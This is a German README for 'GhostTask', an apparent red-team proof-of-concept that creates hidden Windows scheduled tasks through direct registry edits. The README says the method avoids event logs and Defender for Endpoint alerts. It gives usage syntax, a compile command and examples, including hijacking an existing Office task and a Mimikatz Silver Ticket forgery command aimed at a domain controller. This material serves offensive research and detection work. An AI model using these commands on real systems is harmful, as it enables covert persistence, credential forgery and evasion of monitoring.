Ghost Geplante Aufgabe

Inspiriert von WithSecure' Forschung zu Scheduled Task Tampering, erläuterten sie die Machbarkeit, eine geplante Aufgabe ausschließlich durch Manipulation von Registrierungsschlüsseln zu erstellen. Ein solcher Ansatz kann die Erstellung von Ereignisprotokollen zur geplanten Aufgaben, wie 4698 und 106, umgehen und bietet eine heimlichere Methode zur Persistenz. Angesichts dieser Erkenntnisse habe ich diesen POC entwickelt, um die Erstellung geplanter Aufgaben durch direkte Registrierungsmanipulation zu demonstrieren.

Das Erstellen einer neuen geplanten Aufgabe erfordert das Hinzufügen mehrerer Registrierungsschlüssel und deren zugehöriger Werte. Da die Struktur der Registrierungswerte für geplante Aufgaben nicht dokumentiert ist, basierte meine Methodik zum Aufbau dieser Strukturen hauptsächlich auf Versuch und Irrtum, geleitet durch Vergleiche mit den Registrierungswerten legitimer geplanter Aufgaben. Außerdem habe ich mich auf die Schnittstellen in der Header-Datei Taskschd.h bezogen und ausgiebig aus Cyber.WTF Windows Registry Analysis – Today's Episode: Tasks geschöpft. Diese Forschung war unschätzbar, um die Struktur jedes Registrierungswerts wie Triggers, Actions und DynamicInfo zu formulieren, die für den Aufbau einer funktionsfähigen geplanten Aufgabe erforderlich waren.

Das Tool bietet folgende Funktionen:

• Erstellt geplante Aufgaben mit einer restriktiven Sicherheitsbeschreibung, die sie für alle Benutzer unsichtbar machen.
• Richtet geplante Aufgaben direkt über die Registrierung ein, unter Umgehung der Erstellung standardmäßiger Windows-Ereignisprotokolle.
• Bietet Unterstützung zur Änderung vorhandener geplanter Aufgaben ohne Erzeugung von Windows-Ereignisprotokollen.
• Unterstützt die ferne Erstellung geplanter Aufgaben (durch speziell erstellte Silver Tickets).
• Unterstützt die Ausführung in C2 mit einem In-Memory-PE-Ausführungsmodul (z. B. BruteRatel's memexec)

*Anmerkung:

• Stand 21. Oktober 2023 wurde dieses Tool auf Windows 10, Windows Server 2016, 2019 und 2022 getestet
• Stand 21. Oktober 2023 werden keine Warnungen und keine Ereignisse zur Erstellung geplanter Aufgaben (Aktionstyp ScheduledTaskCreated) in MDE (Microsoft Defender For Endpoint) generiert
• Zum Erstellen einer geplanten Aufgabe mit diesem Tool sind "NT AUTHORITY/SYSTEM"-Berechtigungen erforderlich
• Nach dem Konfigurieren der geplanten Aufgabe müssen Sie entweder das System neu starten oder auf den nächsten Neustart warten, damit die Aufgabe in den "Schedule"-Dienstprozess geladen und anschließend ausgeführt wird

Verwendung

Usage: GhostTask.exe <hostname/localhost> <operation> <taskname> <program> <argument> <username> <scheduletype> <time/second> <day>
- hostname/localhost: Remote computer name or "localhost".
- operation: add/delete
  - add: Create or modify a scheduled task using only registry keys. Requires restarting the "Schedule" service to load the task definition.
  - delete: Delete a scheduled task. Requires restarting the "Schedule" service to offload the task.
- taskname: Name of the scheduled task.
- program: Program to be executed.
- argument: Arguments for the program.
- username: User account under which the scheduled task will run.
- scheduletype: Supported triggers: second, daily, weekly, and logon.
- time/second (applicable for 'second', 'daily', and 'weekly' triggers):
  - For 'second' trigger: Specify the frequency in seconds for task execution.
  - For 'daily' and 'weekly' triggers: Specify the exact time (e.g., 22:30) for task execution.
- day (applicable for 'weekly' trigger): Days to execute the scheduled task (e.g., monday, thursday).

Kompilierung

x86_64-w64-mingw32-gcc GhostTask.c -o GhostTask.exe -lrpcrt4

Beispiele

1. Erstellen einer geplanten Aufgabe, die notepad.exe jeden Montag und Donnerstag um 14:12 Uhr startet:

GhostTask.exe localhost add demo "cmd.exe" "/c notepad.exe" LAB\Administrator weekly 14:12 monday,thursday

2. Ändern einer vorhandenen geplanten Aufgabe mit neuem Zeitplantyp, Benutzer und Programm:

GhostTask.exe localhost add "Microsoft\Office\Office Automatic Updates 2.0" "cmd.exe" "/c notepad.exe" LAB\employee001 daily 20:37

3. Erstellen einer neuen geplanten Aufgabe auf einem entfernten Computer:

Wie im WithSecure-Blog (Extra: Lateral Movement-Abschnitt) beschrieben, kann diese Technik verwendet werden, um mit einem speziell erstellten Silver Ticket remote eine neue geplante Aufgabe zu erstellen.

kerberos::golden /domain:LAB.CORP /sid:S-1-5-21-1111111111-1111111111-1111111111 /aes256:[aes256hash] /user:Administrator /service:cifs /target:dc01.lab.corp /sids:S-1-5-18 /endin:600 /renewmax:10080

Erstellen Sie eine neue geplante Aufgabe remote auf dem DC01-Server, die notepad.exe jeden Tag um 15:19 Uhr startet:

GhostTask.exe DC01.lab.corp add demo "cmd.exe" "/c notepad.exe" LAB\Administrator daily 15:19

Danksagungen

• WithSecure für ihre Forschung WithSecure Scheduled Task Tampering
• Cyber.WTF für ihre Forschung Windows Registry Analysis – Today’s Episode: Tasks
• ausecwa für sein bof-registry